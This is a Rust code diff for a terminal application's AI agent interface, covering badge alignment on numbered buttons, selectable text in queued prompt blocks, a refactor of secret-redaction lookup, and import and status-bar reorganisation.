use galaxy_core::ui::appearance::Appearance;
|
||||
use galaxyui::elements::new_scrollable::SingleAxisConfig;
|
||||
use galaxyui::elements::{ChildView, Clipped, ClippedScrollStateHandle, ConstrainedBox, Fill};
|
||||
use galaxyui::platform::WindowStyle;
|
||||
use galaxyui::{
|
||||
elements::{
|
||||
new_scrollable::SingleAxisConfig, ChildView, Clipped, ClippedScrollStateHandle,
|
||||
ConstrainedBox, Fill,
|
||||
},
|
||||
platform::WindowStyle,
|
||||
App, Entity, Event, Presenter, TypedActionView, View, ViewContext, ViewHandle, WindowId,
|
||||
WindowInvalidation,
|
||||
};
|
||||
use pathfinder_geometry::vector::{vec2f, Vector2F};
|
||||
use std::{cell::RefCell, rc::Rc};
|
||||
|
||||
use super::*;
|
||||
|
||||
@@ -1,20 +1,18 @@
|
||||
use crate::context_chips::spacing;
|
||||
use galaxy_core::ui::appearance::Appearance;
|
||||
use galaxy_core::ui::theme::color::internal_colors;
|
||||
use galaxyui::{
|
||||
elements::{
|
||||
Border, Container, CornerRadius, CrossAxisAlignment, Expanded, Flex, FormattedTextElement,
|
||||
MainAxisSize, MouseStateHandle, ParentElement, Radius, Shrinkable, Text,
|
||||
DEFAULT_UI_LINE_HEIGHT_RATIO,
|
||||
},
|
||||
ui_components::{
|
||||
button::{Button, ButtonVariant},
|
||||
components::{UiComponent, UiComponentStyles},
|
||||
},
|
||||
AppContext, Element, SingletonEntity, ViewHandle,
|
||||
use galaxyui::elements::{
|
||||
Border, Container, CornerRadius, CrossAxisAlignment, Expanded, Flex, FormattedTextElement,
|
||||
MainAxisSize, MouseStateHandle, ParentElement, Radius, Shrinkable, Text,
|
||||
DEFAULT_UI_LINE_HEIGHT_RATIO,
|
||||
};
|
||||
use warpui::ui_components::button::{Button, ButtonVariant};
|
||||
use warpui::ui_components::components::{UiComponent, UiComponentStyles};
|
||||
use warpui::{AppContext, Element, SingletonEntity, ViewHandle};
|
||||
|
||||
use super::compact_agent_input::CompactAgentInput;
|
||||
use crate::context_chips::spacing;
|
||||
const NUMBER_BADGE_BORDER_WIDTH: f32 = 1.;
|
||||
const NUMBER_BADGE_VERTICAL_PADDING: f32 = 1.;
|
||||
|
||||
fn render_number_badge(
|
||||
number: usize,
|
||||
@@ -38,8 +36,8 @@ fn render_number_badge(
|
||||
.finish(),
|
||||
)
|
||||
.with_horizontal_padding(5.)
|
||||
.with_vertical_padding(1.)
|
||||
.with_border(Border::all(1.).with_border_color(badge_border_color))
|
||||
.with_vertical_padding(NUMBER_BADGE_VERTICAL_PADDING)
|
||||
.with_border(Border::all(NUMBER_BADGE_BORDER_WIDTH).with_border_color(badge_border_color))
|
||||
.with_corner_radius(CornerRadius::with_all(Radius::Pixels(3.)))
|
||||
.with_background(badge_background)
|
||||
.finish()
|
||||
@@ -89,6 +87,7 @@ pub(super) fn build_numbered_button(
|
||||
) -> Button {
|
||||
let appearance = Appearance::as_ref(app);
|
||||
let theme = appearance.theme();
|
||||
let font_size = appearance.monospace_font_size();
|
||||
|
||||
let mut button = base_numbered_button(mouse_state, app);
|
||||
|
||||
@@ -109,12 +108,28 @@ pub(super) fn build_numbered_button(
|
||||
}
|
||||
|
||||
let badge = render_number_badge(number, is_checked, appearance);
|
||||
let badge_font_size = font_size.max(4.) - 1.;
|
||||
let content_top_margin = ((badge_font_size * DEFAULT_UI_LINE_HEIGHT_RATIO)
|
||||
+ (NUMBER_BADGE_VERTICAL_PADDING + NUMBER_BADGE_BORDER_WIDTH) * 2.
|
||||
- (font_size * DEFAULT_UI_LINE_HEIGHT_RATIO))
|
||||
.max(0.)
|
||||
/ 2.;
|
||||
|
||||
let row = Flex::row()
|
||||
// Use `Start`, not `Center`: `Center` would center the badge against the full content
|
||||
// height, floating it off the first line when the label wraps. `content_top_margin`
|
||||
// recenters it against a single line.
|
||||
.with_cross_axis_alignment(CrossAxisAlignment::Start)
|
||||
.with_child(badge)
|
||||
.with_child(
|
||||
Shrinkable::new(1., Container::new(content).with_margin_left(8.).finish()).finish(),
|
||||
Shrinkable::new(
|
||||
1.,
|
||||
Container::new(content)
|
||||
.with_margin_left(8.)
|
||||
.with_margin_top(content_top_margin)
|
||||
.finish(),
|
||||
)
|
||||
.finish(),
|
||||
)
|
||||
.finish();
|
||||
|
||||
@@ -161,9 +176,11 @@ pub(super) fn build_text_button_content(
|
||||
return label_element;
|
||||
}
|
||||
|
||||
// Center the label and the (taller) "Recommended" chip against each other; the outer row keeps
|
||||
// the number badge `Start`-aligned to the first line.
|
||||
Flex::row()
|
||||
.with_main_axis_size(MainAxisSize::Max)
|
||||
.with_cross_axis_alignment(CrossAxisAlignment::Start)
|
||||
.with_cross_axis_alignment(CrossAxisAlignment::Center)
|
||||
.with_child(Expanded::new(1., label_element).finish())
|
||||
.with_child(
|
||||
Container::new(render_recommended_badge(appearance))
|
||||
|
||||
@@ -1,26 +1,42 @@
|
||||
use std::sync::Arc;
|
||||
|
||||
use parking_lot::RwLock;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use galaxy_core::semantic_selection::SemanticSelection;
|
||||
use galaxyui::elements::{
|
||||
get_rich_content_position_id, ChildView, Container, CrossAxisAlignment, Expanded, Flex,
|
||||
ParentElement, SavePosition, SelectableArea, SelectionHandle, Text,
|
||||
};
|
||||
use galaxyui::fonts::{Properties, Style, Weight};
|
||||
use galaxyui::{
|
||||
elements::{ChildView, Container, CrossAxisAlignment, Expanded, Flex, ParentElement, Text},
|
||||
fonts::{Properties, Style, Weight},
|
||||
AppContext, Element, Entity, SingletonEntity, TypedActionView, View, ViewContext, ViewHandle,
|
||||
AppContext, Element, Entity, EntityId, SingletonEntity, TypedActionView, View, ViewContext,
|
||||
ViewHandle,
|
||||
};
|
||||
|
||||
use crate::{
|
||||
ai::blocklist::block::view_impl::{
|
||||
common::render_user_avatar, CONTENT_HORIZONTAL_PADDING, CONTENT_ITEM_VERTICAL_MARGIN,
|
||||
},
|
||||
appearance::Appearance,
|
||||
ui_components::{blended_colors, icons::Icon},
|
||||
view_components::action_button::{ActionButton, ButtonSize, NakedTheme},
|
||||
use crate::ai::blocklist::block::view_impl::common::render_user_avatar;
|
||||
use crate::ai::blocklist::block::view_impl::{
|
||||
CONTENT_HORIZONTAL_PADDING, CONTENT_ITEM_VERTICAL_MARGIN,
|
||||
};
|
||||
use crate::appearance::Appearance;
|
||||
use crate::terminal::block_list_element::BlockListMenuSource;
|
||||
use crate::terminal::view::TerminalAction;
|
||||
use crate::ui_components::blended_colors;
|
||||
use crate::ui_components::icons::Icon;
|
||||
use crate::view_components::action_button::{ActionButton, ButtonSize, NakedTheme};
|
||||
|
||||
/// Renders a pending user query block with dimmed text and a "Queued" badge.
|
||||
/// Displayed when a follow-up prompt is queued via `/fork-and-compact <prompt>`,
|
||||
/// `/compact-and <prompt>`, `/queue <prompt>`, or for the initial prompt of a
|
||||
/// non-oz Cloud Mode run waiting for its harness CLI to start.
|
||||
/// Cloud Mode run waiting for its real shared-session transcript query to arrive.
|
||||
pub struct PendingUserQueryBlock {
|
||||
prompt: String,
|
||||
user_display_name: String,
|
||||
profile_image_path: Option<String>,
|
||||
view_id: EntityId,
|
||||
selection_handle: SelectionHandle,
|
||||
/// In an `RwLock` so the `SelectableArea` can update it synchronously when a selection ends,
|
||||
/// allowing the terminal view to read the value immediately for copy-on-select.
|
||||
selected_text: Arc<RwLock<Option<String>>>,
|
||||
close_button: Option<ViewHandle<ActionButton>>,
|
||||
send_now_button: Option<ViewHandle<ActionButton>>,
|
||||
}
|
||||
@@ -58,21 +74,42 @@ impl PendingUserQueryBlock {
|
||||
prompt,
|
||||
user_display_name,
|
||||
profile_image_path,
|
||||
view_id: ctx.view_id(),
|
||||
selection_handle: Default::default(),
|
||||
selected_text: Default::default(),
|
||||
close_button,
|
||||
send_now_button,
|
||||
}
|
||||
}
|
||||
|
||||
/// Returns the currently selected prompt text within this block.
|
||||
pub fn selected_text(&self, _ctx: &AppContext) -> Option<String> {
|
||||
self.selected_text.read().clone()
|
||||
}
|
||||
|
||||
pub fn prompt(&self) -> &str {
|
||||
&self.prompt
|
||||
}
|
||||
|
||||
/// Clears the text selection state and visual selection highlight.
|
||||
pub fn clear_selection(&mut self, ctx: &mut ViewContext<Self>) {
|
||||
self.selection_handle.clear();
|
||||
*self.selected_text.write() = None;
|
||||
ctx.notify();
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
pub enum PendingUserQueryBlockAction {
|
||||
Dismiss,
|
||||
SendNow,
|
||||
SelectText,
|
||||
}
|
||||
|
||||
pub enum PendingUserQueryBlockEvent {
|
||||
Dismissed,
|
||||
SendNow,
|
||||
TextSelected,
|
||||
}
|
||||
|
||||
impl Entity for PendingUserQueryBlock {
|
||||
@@ -90,6 +127,9 @@ impl TypedActionView for PendingUserQueryBlock {
|
||||
PendingUserQueryBlockAction::SendNow => {
|
||||
ctx.emit(PendingUserQueryBlockEvent::SendNow);
|
||||
}
|
||||
PendingUserQueryBlockAction::SelectText => {
|
||||
ctx.emit(PendingUserQueryBlockEvent::TextSelected);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -125,7 +165,7 @@ impl View for PendingUserQueryBlock {
|
||||
)
|
||||
.with_style(properties)
|
||||
.with_color(dimmed_color)
|
||||
.with_selectable(false)
|
||||
.with_selectable(true)
|
||||
.finish();
|
||||
|
||||
let queued_badge = Text::new(
|
||||
@@ -141,11 +181,43 @@ impl View for PendingUserQueryBlock {
|
||||
.with_selectable(false)
|
||||
.finish();
|
||||
|
||||
let text_column = Flex::column()
|
||||
let selectable_child = Flex::column()
|
||||
.with_child(prompt_text)
|
||||
.with_child(Container::new(queued_badge).with_margin_top(4.).finish())
|
||||
.finish();
|
||||
|
||||
let semantic_selection = SemanticSelection::as_ref(app);
|
||||
let selected_text = self.selected_text.clone();
|
||||
let view_id = self.view_id;
|
||||
let mut text_column = SelectableArea::new(
|
||||
self.selection_handle.clone(),
|
||||
move |selection_args, _, _| {
|
||||
*selected_text.write() = selection_args.selection;
|
||||
},
|
||||
SavePosition::new(
|
||||
selectable_child,
|
||||
get_rich_content_position_id(&view_id).as_str(),
|
||||
)
|
||||
.finish(),
|
||||
)
|
||||
.with_word_boundaries_policy(semantic_selection.word_boundary_policy())
|
||||
.with_smart_select_fn(semantic_selection.smart_select_fn())
|
||||
.on_selection_updated(|ctx, _| {
|
||||
ctx.dispatch_typed_action(PendingUserQueryBlockAction::SelectText)
|
||||
})
|
||||
.on_selection_right_click(move |ctx, position| {
|
||||
ctx.dispatch_typed_action(TerminalAction::BlockListContextMenu(
|
||||
BlockListMenuSource::RichContentTextRightClick {
|
||||
rich_content_view_id: view_id,
|
||||
position_in_rich_content: position,
|
||||
},
|
||||
))
|
||||
});
|
||||
|
||||
if FeatureFlag::RectSelection.is_enabled() {
|
||||
text_column = text_column.should_support_rect_select();
|
||||
}
|
||||
|
||||
let mut buttons_column = Flex::column().with_spacing(2.);
|
||||
if let Some(close_button) = &self.close_button {
|
||||
buttons_column.add_child(ChildView::new(close_button).finish());
|
||||
@@ -157,7 +229,7 @@ impl View for PendingUserQueryBlock {
|
||||
let mut row = Flex::row()
|
||||
.with_cross_axis_alignment(CrossAxisAlignment::Start)
|
||||
.with_child(avatar)
|
||||
.with_child(Expanded::new(1., text_column).finish());
|
||||
.with_child(Expanded::new(1., text_column.finish()).finish());
|
||||
if self.close_button.is_some() || self.send_now_button.is_some() {
|
||||
let buttons = Container::new(buttons_column.finish())
|
||||
.with_margin_left(8.)
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
use std::collections::HashMap;
|
||||
use std::sync::Arc;
|
||||
|
||||
use galaxyui::elements::{MouseStateHandle, PartialClickableElement, SecretRange};
|
||||
use galaxyui::platform::Cursor;
|
||||
use itertools::Itertools;
|
||||
use similar::DiffableStr;
|
||||
|
||||
use crate::ai::agent::{AIAgentOutput, AIAgentTextSection, AgentOutputText};
|
||||
use crate::terminal::model::secrets::{SecretLevel, REGEX_LEVEL_METADATA, SECRETS_REGEX};
|
||||
|
||||
use super::{AIBlockAction, TextLocation};
|
||||
use crate::ai::agent::{AIAgentOutput, AIAgentTextSection, AgentOutputText};
|
||||
use crate::terminal::model::secrets::{SecretLevel, SecretsRegex, SECRETS_REGEX};
|
||||
|
||||
pub const SECRET_REDACTION_REPLACEMENT_CHARACTER: &str = "*";
|
||||
|
||||
@@ -22,11 +22,20 @@ pub(crate) fn find_secrets_in_text(text: &str) -> Vec<SecretRange> {
|
||||
|
||||
/// Returns the ranges of detected secrets in the given text along with their SecretLevel.
|
||||
pub(crate) fn find_secrets_in_text_with_levels(text: &str) -> Vec<(SecretRange, SecretLevel)> {
|
||||
// Combine all regex patterns into a single regex pattern with non-capturing groups, for efficiency.
|
||||
// Note that we purposely use regex::Regex instead of RegexDFAs since we are working a Text (containing
|
||||
// a normal String) rather than the Grid (where text is in Cells with 1 character each).
|
||||
let regex = SECRETS_REGEX.read();
|
||||
let metadata = REGEX_LEVEL_METADATA.read();
|
||||
let secrets_regex: Arc<SecretsRegex> = { SECRETS_REGEX.lock().clone() };
|
||||
|
||||
find_secrets_in_text_with_levels_using_regex(text, &secrets_regex)
|
||||
}
|
||||
|
||||
pub(crate) fn find_secrets_in_text_with_levels_using_regex(
|
||||
text: &str,
|
||||
secrets_regex: &SecretsRegex,
|
||||
) -> Vec<(SecretRange, SecretLevel)> {
|
||||
let SecretsRegex {
|
||||
regex,
|
||||
level_metadata,
|
||||
..
|
||||
} = secrets_regex;
|
||||
|
||||
let mut secret_ranges = vec![];
|
||||
let mut byte_to_char_index = vec![0; text.len() + 1]; // Map byte index to char index
|
||||
@@ -49,12 +58,12 @@ pub(crate) fn find_secrets_in_text_with_levels(text: &str) -> Vec<(SecretRange,
|
||||
|
||||
// Determine which pattern matched by getting the pattern ID and map via counts
|
||||
let pattern_id = mat.pattern().as_usize();
|
||||
let total_patterns = metadata.enterprise_count + metadata.user_count;
|
||||
let total_patterns = level_metadata.enterprise_count + level_metadata.user_count;
|
||||
if pattern_id >= total_patterns {
|
||||
log::error!("Secret level not found for pattern ID {pattern_id}");
|
||||
continue;
|
||||
}
|
||||
let secret_level = if pattern_id < metadata.enterprise_count {
|
||||
let secret_level = if pattern_id < level_metadata.enterprise_count {
|
||||
SecretLevel::Enterprise
|
||||
} else {
|
||||
SecretLevel::User
|
||||
@@ -704,5 +713,5 @@ pub(crate) fn redact_secrets_in_element<T: PartialClickableElement>(
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "secret_redaction_test.rs"]
|
||||
#[path = "secret_redaction_tests.rs"]
|
||||
mod test;
|
||||
|
||||
+1
-2
@@ -3,9 +3,8 @@ use galaxyui::fonts::FamilyId;
|
||||
use regex::Regex;
|
||||
use serial_test::serial;
|
||||
|
||||
use crate::terminal::model::secrets::{self, SecretLevel};
|
||||
|
||||
use super::*;
|
||||
use crate::terminal::model::secrets::{self, SecretLevel};
|
||||
|
||||
#[test]
|
||||
fn test_merge_no_ranges() {
|
||||
@@ -1,89 +1,75 @@
|
||||
use std::{collections::HashSet, sync::Arc, time::Duration};
|
||||
use std::collections::HashSet;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use super::{
|
||||
cli_controller::{CLISubagentController, CLISubagentEvent, UserTakeOverReason},
|
||||
model::{AIBlockModel, AIBlockModelImpl, AIBlockOutputStatus},
|
||||
view_impl::common::{
|
||||
random_load_output_message, render_switch_control_to_user_button, render_warping_indicator,
|
||||
render_warping_indicator_base, ButtonProps, ForceRefreshButtonProps, MaybeShimmeringText,
|
||||
WarpingIndicatorProps, WarpingProps, WAITING_FOR_USER_INPUT_MESSAGE,
|
||||
},
|
||||
};
|
||||
use crate::{
|
||||
ai::agent_tips::AITipModel,
|
||||
terminal::{
|
||||
input::buffer_model::InputBufferUpdateEvent,
|
||||
view::ambient_agent::is_cloud_agent_pre_first_exchange,
|
||||
},
|
||||
};
|
||||
use crate::{
|
||||
ai::blocklist::agent_view::{
|
||||
agent_view_bg_fill, child_agent_status_card::ChildAgentStatusCard, AgentMessageBar,
|
||||
AgentViewController, EphemeralMessageModel,
|
||||
},
|
||||
terminal::input::{
|
||||
buffer_model::InputBufferModel,
|
||||
message_bar::common::render_standard_message_bar,
|
||||
message_bar::{Message, MessageItem},
|
||||
slash_command_model::SlashCommandModel,
|
||||
suggestions_mode_model::InputSuggestionsModeModel,
|
||||
},
|
||||
};
|
||||
use warp_multi_agent_api as api;
|
||||
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{
|
||||
conversation::AIConversationId, icons, AIAgentExchangeId, AIAgentOutput,
|
||||
AIAgentOutputMessageType, CancellationReason, SummarizationType,
|
||||
},
|
||||
blocklist::{
|
||||
agent_view::shortcuts::AgentShortcutViewModel,
|
||||
ai_brand_color,
|
||||
model::AIBlockModelHelper,
|
||||
summarization_cancel_dialog::{
|
||||
self, SummarizationCancelDialog, SummarizationCancelDialogEvent,
|
||||
},
|
||||
BlocklistAIActionEvent, BlocklistAIActionModel, BlocklistAIContextEvent,
|
||||
BlocklistAIContextModel, BlocklistAIController, BlocklistAIHistoryEvent,
|
||||
BlocklistAIInputEvent, BlocklistAIInputModel, ResponseStreamId,
|
||||
},
|
||||
llms::LLMPreferences,
|
||||
AgentTip,
|
||||
},
|
||||
send_telemetry_from_app_ctx,
|
||||
server::telemetry::TelemetryEvent,
|
||||
settings::{InputModeSettings, InputSettings},
|
||||
settings_view::keybindings::KeybindingChangedNotifier,
|
||||
terminal::{
|
||||
input::SET_INPUT_MODE_TERMINAL_ACTION_NAME,
|
||||
model::block::LONG_RUNNING_COMMAND_DURATION_MS,
|
||||
model_events::{ModelEvent, ModelEventDispatcher},
|
||||
view::ambient_agent::{AmbientAgentViewModel, AmbientAgentViewModelEvent},
|
||||
warpify::render::LEFT_STRIPE_WIDTH,
|
||||
TerminalModel, CANCEL_COMMAND_KEYBINDING, TOGGLE_AUTOEXECUTE_MODE_KEYBINDING,
|
||||
TOGGLE_HIDE_CLI_RESPONSES_KEYBINDING, TOGGLE_QUEUE_NEXT_PROMPT_KEYBINDING,
|
||||
},
|
||||
util::bindings::keybinding_name_to_keystroke,
|
||||
BlocklistAIHistoryModel,
|
||||
};
|
||||
use galaxy_core::{
|
||||
features::FeatureFlag,
|
||||
ui::{appearance::Appearance, theme::Fill, Icon as CoreIcon},
|
||||
};
|
||||
use galaxyui::elements::shimmering_text::ShimmeringTextStateHandle;
|
||||
use galaxyui::{
|
||||
elements::{Border, Container, Empty, Flex, MouseStateHandle, ParentElement, Text},
|
||||
keymap::Keystroke,
|
||||
presenter::ChildView,
|
||||
r#async::SpawnedFutureHandle,
|
||||
AppContext, Element, Entity, EntityId, ModelHandle, SingletonEntity, View, ViewContext,
|
||||
ViewHandle,
|
||||
};
|
||||
use galaxyui::{r#async::Timer, TypedActionView};
|
||||
use instant::Instant;
|
||||
use markdown_parser::FormattedTextFragment;
|
||||
use parking_lot::FairMutex;
|
||||
use pathfinder_color::ColorU;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use galaxy_core::ui::appearance::Appearance;
|
||||
use galaxy_core::ui::theme::Fill;
|
||||
use galaxy_core::ui::Icon as CoreIcon;
|
||||
use warp_multi_agent_api as api;
|
||||
use galaxyui::elements::shimmering_text::ShimmeringTextStateHandle;
|
||||
use galaxyui::elements::{Border, Container, Empty, Flex, MouseStateHandle, ParentElement, Text};
|
||||
use galaxyui::keymap::Keystroke;
|
||||
use galaxyui::presenter::ChildView;
|
||||
use galaxyui::r#async::{SpawnedFutureHandle, Timer};
|
||||
use galaxyui::{
|
||||
AppContext, Element, Entity, EntityId, ModelHandle, SingletonEntity, TypedActionView, View,
|
||||
ViewContext, ViewHandle,
|
||||
};
|
||||
|
||||
use super::cli_controller::{CLISubagentController, CLISubagentEvent, UserTakeOverReason};
|
||||
use super::model::{AIBlockModel, AIBlockModelImpl, AIBlockOutputStatus};
|
||||
use super::view_impl::common::{
|
||||
render_switch_control_to_user_button, render_warping_indicator, render_warping_indicator_base,
|
||||
AutoExecuteButtonProps, ButtonProps, ForceRefreshButtonProps, MaybeShimmeringText,
|
||||
WarpingIndicatorProps, WarpingProps, LOAD_OUTPUT_MESSAGE, WAITING_FOR_USER_INPUT_MESSAGE,
|
||||
};
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::{
|
||||
icons, AIAgentExchangeId, AIAgentOutput, AIAgentOutputMessageType, CancellationReason,
|
||||
SummarizationType,
|
||||
};
|
||||
use crate::ai::agent_tips::AITipModel;
|
||||
use crate::ai::blocklist::agent_view::shortcuts::AgentShortcutViewModel;
|
||||
use crate::ai::blocklist::agent_view::{
|
||||
agent_view_bg_fill, is_in_cloud_context, AgentMessageBar, AgentViewController,
|
||||
EphemeralMessageModel,
|
||||
};
|
||||
use crate::ai::blocklist::model::AIBlockModelHelper;
|
||||
use crate::ai::blocklist::summarization_cancel_dialog::{
|
||||
self, SummarizationCancelDialog, SummarizationCancelDialogEvent,
|
||||
};
|
||||
use crate::ai::blocklist::{
|
||||
ai_brand_color, BlocklistAIActionEvent, BlocklistAIActionModel, BlocklistAIContextEvent,
|
||||
BlocklistAIContextModel, BlocklistAIController, BlocklistAIHistoryEvent, BlocklistAIInputEvent,
|
||||
BlocklistAIInputModel, QueuedQueryEvent, QueuedQueryModel, ResponseStreamId,
|
||||
};
|
||||
use crate::ai::llms::LLMPreferences;
|
||||
use crate::ai::AgentTip;
|
||||
use crate::server::telemetry::TelemetryEvent;
|
||||
use crate::settings::{InputModeSettings, InputSettings};
|
||||
use crate::settings_view::keybindings::KeybindingChangedNotifier;
|
||||
use crate::terminal::input::buffer_model::{InputBufferModel, InputBufferUpdateEvent};
|
||||
use crate::terminal::input::message_bar::common::render_wrapping_standard_message_bar;
|
||||
use crate::terminal::input::slash_command_model::SlashCommandModel;
|
||||
use crate::terminal::input::suggestions_mode_model::InputSuggestionsModeModel;
|
||||
use crate::terminal::input::{HandoffComposeState, SET_INPUT_MODE_TERMINAL_ACTION_NAME};
|
||||
use crate::terminal::model::block::LONG_RUNNING_COMMAND_DURATION_MS;
|
||||
use crate::terminal::model_events::{ModelEvent, ModelEventDispatcher};
|
||||
use crate::terminal::view::ambient_agent::{
|
||||
is_cloud_agent_pre_first_exchange, AmbientAgentViewModel, AmbientAgentViewModelEvent,
|
||||
};
|
||||
use crate::terminal::warpify::render::LEFT_STRIPE_WIDTH;
|
||||
use crate::terminal::{
|
||||
TerminalModel, CANCEL_COMMAND_KEYBINDING, TOGGLE_AUTOEXECUTE_MODE_KEYBINDING,
|
||||
TOGGLE_HIDE_CLI_RESPONSES_KEYBINDING, TOGGLE_QUEUE_NEXT_PROMPT_KEYBINDING,
|
||||
};
|
||||
use crate::util::bindings::keybinding_name_to_keystroke;
|
||||
use crate::{send_telemetry_from_app_ctx, BlocklistAIHistoryModel};
|
||||
|
||||
pub fn init(app: &mut AppContext) {
|
||||
summarization_cancel_dialog::init(app);
|
||||
@@ -96,7 +82,6 @@ struct StateHandles {
|
||||
stop_button: MouseStateHandle,
|
||||
take_over_button: MouseStateHandle,
|
||||
hide_cli_responses_button: MouseStateHandle,
|
||||
github_auth_link: MouseStateHandle,
|
||||
/// Tracks hover/press state for the inline `Check now` affordance rendered next to
|
||||
/// `Last seen by agent ...` while the agent is polling a long-running command.
|
||||
force_refresh_button: MouseStateHandle,
|
||||
@@ -113,7 +98,7 @@ pub struct BlocklistAIStatusBar {
|
||||
terminal_model: Arc<FairMutex<TerminalModel>>,
|
||||
shimmering_text_handle: ShimmeringTextStateHandle,
|
||||
state_handles: StateHandles,
|
||||
ambient_agent_view_model: ModelHandle<AmbientAgentViewModel>,
|
||||
ambient_agent_view_model: Option<ModelHandle<AmbientAgentViewModel>>,
|
||||
|
||||
autoexecute_keystroke: Option<Keystroke>,
|
||||
queue_next_prompt_keystroke: Option<Keystroke>,
|
||||
@@ -146,7 +131,6 @@ pub struct BlocklistAIStatusBar {
|
||||
|
||||
ephemeral_message_model: ModelHandle<EphemeralMessageModel>,
|
||||
agent_message_bar: ViewHandle<AgentMessageBar>,
|
||||
child_agent_status_card: ViewHandle<ChildAgentStatusCard>,
|
||||
}
|
||||
|
||||
impl BlocklistAIStatusBar {
|
||||
@@ -162,17 +146,18 @@ impl BlocklistAIStatusBar {
|
||||
model_event_dispatcher: &ModelHandle<ModelEventDispatcher>,
|
||||
terminal_model: Arc<FairMutex<TerminalModel>>,
|
||||
shortcut_view_model: ModelHandle<AgentShortcutViewModel>,
|
||||
ambient_agent_view_model: ModelHandle<AmbientAgentViewModel>,
|
||||
ambient_agent_view_model: Option<ModelHandle<AmbientAgentViewModel>>,
|
||||
input_suggestions_model: ModelHandle<InputSuggestionsModeModel>,
|
||||
slash_command_model: ModelHandle<SlashCommandModel>,
|
||||
ephemeral_message_model: ModelHandle<EphemeralMessageModel>,
|
||||
handoff_compose_state: ModelHandle<HandoffComposeState>,
|
||||
terminal_view_id: EntityId,
|
||||
ctx: &mut ViewContext<Self>,
|
||||
) -> Self {
|
||||
let history_model = BlocklistAIHistoryModel::handle(ctx);
|
||||
ctx.subscribe_to_model(&history_model, move |me, _, event, ctx| {
|
||||
if event
|
||||
.terminal_view_id()
|
||||
.terminal_surface_id()
|
||||
.is_some_and(|id| id != terminal_view_id)
|
||||
{
|
||||
return;
|
||||
@@ -189,7 +174,7 @@ impl BlocklistAIStatusBar {
|
||||
}
|
||||
me.reset_model_for_exchange(*exchange_id, *conversation_id, ctx);
|
||||
}
|
||||
BlocklistAIHistoryEvent::ClearedConversationsInTerminalView { .. } => {
|
||||
BlocklistAIHistoryEvent::ClearedConversationsForTerminalSurface { .. } => {
|
||||
me.active_exchange_model = None;
|
||||
me.stop_warping_timer();
|
||||
ctx.notify();
|
||||
@@ -234,10 +219,15 @@ impl BlocklistAIStatusBar {
|
||||
}
|
||||
});
|
||||
ctx.subscribe_to_model(&context_model, |_, _, event, ctx| {
|
||||
if matches!(event, BlocklistAIContextEvent::PendingQueryStateUpdated) {
|
||||
ctx.notify();
|
||||
}
|
||||
});
|
||||
ctx.subscribe_to_model(&QueuedQueryModel::handle(ctx), |_, _, event, ctx| {
|
||||
if matches!(
|
||||
event,
|
||||
BlocklistAIContextEvent::PendingQueryStateUpdated
|
||||
| BlocklistAIContextEvent::QueueNextPromptToggled
|
||||
QueuedQueryEvent::QueueNextPromptToggled { .. }
|
||||
| QueuedQueryEvent::DefaultModeChanged
|
||||
) {
|
||||
ctx.notify();
|
||||
}
|
||||
@@ -303,6 +293,11 @@ impl BlocklistAIStatusBar {
|
||||
ctx.notify();
|
||||
});
|
||||
|
||||
ctx.observe(&AITipModel::handle(ctx), |me, tip_model, ctx| {
|
||||
me.current_tip = tip_model.as_ref(ctx).current_tip().cloned();
|
||||
ctx.notify();
|
||||
});
|
||||
|
||||
let summarization_cancel_dialog =
|
||||
ctx.add_typed_action_view(|_| SummarizationCancelDialog::default());
|
||||
ctx.subscribe_to_view(
|
||||
@@ -347,7 +342,7 @@ impl BlocklistAIStatusBar {
|
||||
ctx.notify();
|
||||
});
|
||||
|
||||
let agent_message_bar = ctx.add_view(|ctx| {
|
||||
let agent_message_bar = ctx.add_typed_action_view(|ctx| {
|
||||
AgentMessageBar::new(
|
||||
agent_view_controller.clone(),
|
||||
ephemeral_message_model.clone(),
|
||||
@@ -357,28 +352,28 @@ impl BlocklistAIStatusBar {
|
||||
input_suggestions_model,
|
||||
slash_command_model,
|
||||
context_model.clone(),
|
||||
handoff_compose_state,
|
||||
terminal_model.clone(),
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
let child_agent_status_card = ctx.add_typed_action_view(|ctx| {
|
||||
ChildAgentStatusCard::new(agent_view_controller.clone(), ctx)
|
||||
});
|
||||
ctx.subscribe_to_model(&ambient_agent_view_model, |me, _, event, ctx| match event {
|
||||
AmbientAgentViewModelEvent::DispatchedAgent
|
||||
| AmbientAgentViewModelEvent::ProgressUpdated => {
|
||||
me.update_agent_tip(ctx);
|
||||
ctx.notify();
|
||||
}
|
||||
AmbientAgentViewModelEvent::SessionReady { .. }
|
||||
| AmbientAgentViewModelEvent::Failed { .. }
|
||||
| AmbientAgentViewModelEvent::NeedsGithubAuth
|
||||
| AmbientAgentViewModelEvent::Cancelled => {
|
||||
ctx.notify();
|
||||
}
|
||||
_ => (),
|
||||
});
|
||||
if let Some(ambient_agent_view_model) = ambient_agent_view_model.as_ref() {
|
||||
ctx.subscribe_to_model(ambient_agent_view_model, |me, _, event, ctx| match event {
|
||||
AmbientAgentViewModelEvent::DispatchedAgent
|
||||
| AmbientAgentViewModelEvent::ProgressUpdated => {
|
||||
me.update_agent_tip(ctx);
|
||||
ctx.notify();
|
||||
}
|
||||
AmbientAgentViewModelEvent::SessionReady { .. }
|
||||
| AmbientAgentViewModelEvent::Failed { .. }
|
||||
| AmbientAgentViewModelEvent::NeedsGithubAuth
|
||||
| AmbientAgentViewModelEvent::Cancelled => {
|
||||
ctx.notify();
|
||||
}
|
||||
_ => (),
|
||||
});
|
||||
}
|
||||
|
||||
Self {
|
||||
active_exchange_model: None,
|
||||
@@ -409,7 +404,6 @@ impl BlocklistAIStatusBar {
|
||||
current_tip: None,
|
||||
ephemeral_message_model,
|
||||
agent_message_bar,
|
||||
child_agent_status_card,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -909,23 +903,28 @@ impl BlocklistAIStatusBar {
|
||||
shimmering_text_handle: &self.shimmering_text_handle,
|
||||
summarization_start_time: self.summarization_start_time,
|
||||
auto_execute_button: (!model.request_type(app).is_passive_code_diff()).then_some(
|
||||
ButtonProps {
|
